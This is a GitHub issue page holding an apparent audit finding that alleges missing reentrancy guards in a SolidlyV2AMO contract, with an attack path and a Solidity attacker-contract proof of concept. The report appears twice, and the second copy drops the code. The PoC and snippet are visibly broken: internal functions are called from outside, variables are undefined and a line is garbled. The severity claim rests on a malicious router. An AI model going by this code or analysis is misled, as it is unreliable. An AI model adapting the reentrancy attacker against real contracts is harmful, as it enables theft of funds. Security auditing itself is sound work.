You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The absence of reentrancy guards in liquidity management functions will cause a critical security breach for the protocol's liquidity pools as an attacker can exploit external calls to re-enter and manipulate contract state, leading to unauthorized token minting and liquidity manipulation.
Root Cause
In SolidlyV2AMO.sol, the internal functions _mintAndSellBoost, _addLiquidity, and _unfarmBuyBurn perform external calls to the router and gauge contracts without implementing reentrancy protection mechanisms such as the nonReentrant modifier from OpenZeppelin's ReentrancyGuard.
Relevant Code Snippet:
function _mintAndSellBoost(
uint256 boostAmount,
uint256 minUsdAmountOut,
uint256 deadline
) internal override returns (uint256 boostAmountIn, uint256 usdAmountOut) {
// External call to mint
IMinter(boostMinter).protocolMint(address(this), boostAmount);
// External call to approve and swap
IERC20Upgradeable(boost).approve(router, boostAmount);
ISolidlyRouter.route0;
routes[0] = ISolidlyRouter.route(boost, usd, true);
uint256[] memory amounts = ISolidlyRouter(router).swapExactTokensForTokens(
boostAmount,
minUsdAmountOut,
routes,
address(this),
deadline
);
// State updates
self.vault.config.lpBalance += lp;
}
Internal pre-conditions
An account with the necessary privileges (e.g., internal functions being called by authorized roles) triggers a liquidity management function like _mintAndSellBoost.
The router or gauge contracts are malicious or compromised to execute a reentrant call.
External pre-conditions
The router contract allows execution of fallback functions that can call back into the SolidlyV2AMO contract.
The external calls to swapExactTokensForTokens and addLiquidity are not protected against reentrancy.
Attack Path
The attacker deploys a malicious contract that interacts with the SolidlyV2AMO contract.
The attacker calls a function that triggers an external call to the router contract, such as _mintAndSellBoost.
During the execution of the external call (swapExactTokensForTokens), the router contract calls back into the SolidlyV2AMO contract via a fallback or callback function.
The attacker’s contract re-enters the SolidlyV2AMO contract’s liquidity function, allowing manipulation of state variables before the original function completes.
The attacker can mint unauthorized BOOST tokens or manipulate liquidity pool balances, causing financial loss and destabilizing the protocol.
Impact
The protocol suffers a critical security breach where an attacker can manipulate the contract’s state, leading to unauthorized minting of BOOST tokens, draining of liquidity pools, and overall destabilization of the BOOST peg, resulting in significant financial losses and loss of user trust.
PoC
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "./SolidlyV2AMO.sol";
contract AttackerContract {
SolidlyV2AMO amo;
bool public attackInitiated = false;
constructor(address amoAddress) {
amo = SolidlyV2AMO(amoAddress);
}
// Fallback function to re-enter the AMO contract
fallback() external {
if (!attackInitiated) {
attackInitiated = true;
// Re-enter the _addLiquidity function with malicious parameters
amo._addLiquidity(
1e18, // usdAmount
0, // minBoostSpend
0, // minUsdSpend
block.timestamp + 100
);
}
}
function attack() external {
// Initiate the attack by calling _mintAndSellBoost
amo._mintAndSellBoost(
1e18, // boostAmount
1e16, // minUsdAmountOut
block.timestamp + 100 // deadline
);
}
}
Mitigation
Implement Reentrancy Guards:
Integrate OpenZeppelin's ReentrancyGuard into the SolidlyV2AMO contract and apply the nonReentrant modifier to all functions that perform external calls.
Summary
The absence of reentrancy guards in liquidity management functions will cause a critical security breach for the protocol's liquidity pools as an attacker can exploit external calls to re-enter and manipulate contract state, leading to unauthorized token minting and liquidity manipulation.
Root Cause
In SolidlyV2AMO.sol, the internal functions _mintAndSellBoost, _addLiquidity, and _unfarmBuyBurn perform external calls to the router and gauge contracts without implementing reentrancy protection mechanisms such as the nonReentrant modifier from OpenZeppelin's ReentrancyGuard.
Relevant Code Snippet:
Internal pre-conditions
An account with the necessary privileges (e.g., internal functions being called by authorized roles) triggers a liquidity management function like _mintAndSellBoost.
The router or gauge contracts are malicious or compromised to execute a reentrant call.
External pre-conditions
The router contract allows execution of fallback functions that can call back into the SolidlyV2AMO contract.
The external calls to swapExactTokensForTokens and addLiquidity are not protected against reentrancy.
Attack Path
The attacker deploys a malicious contract that interacts with the SolidlyV2AMO contract.
The attacker calls a function that triggers an external call to the router contract, such as _mintAndSellBoost.
During the execution of the external call (swapExactTokensForTokens), the router contract calls back into the SolidlyV2AMO contract via a fallback or callback function.
The attacker’s contract re-enters the SolidlyV2AMO contract’s liquidity function, allowing manipulation of state variables before the original function completes.
The attacker can mint unauthorized BOOST tokens or manipulate liquidity pool balances, causing financial loss and destabilizing the protocol.
Impact
The protocol suffers a critical security breach where an attacker can manipulate the contract’s state, leading to unauthorized minting of BOOST tokens, draining of liquidity pools, and overall destabilization of the BOOST peg, resulting in significant financial losses and loss of user trust.
PoC
Mitigation
Integrate OpenZeppelin's ReentrancyGuard into the SolidlyV2AMO contract and apply the nonReentrant modifier to all functions that perform external calls.
Ensure that all state changes are made before performing external calls to prevent reentrancy.
Minimize the number of external calls within critical functions to reduce attack surfaces.
Apply additional security measures such as onlyOwner or specific role checks where necessary.
Conduct thorough security audits and penetration testing to identify and remediate vulnerabilities.
The text was updated successfully, but these errors were encountered: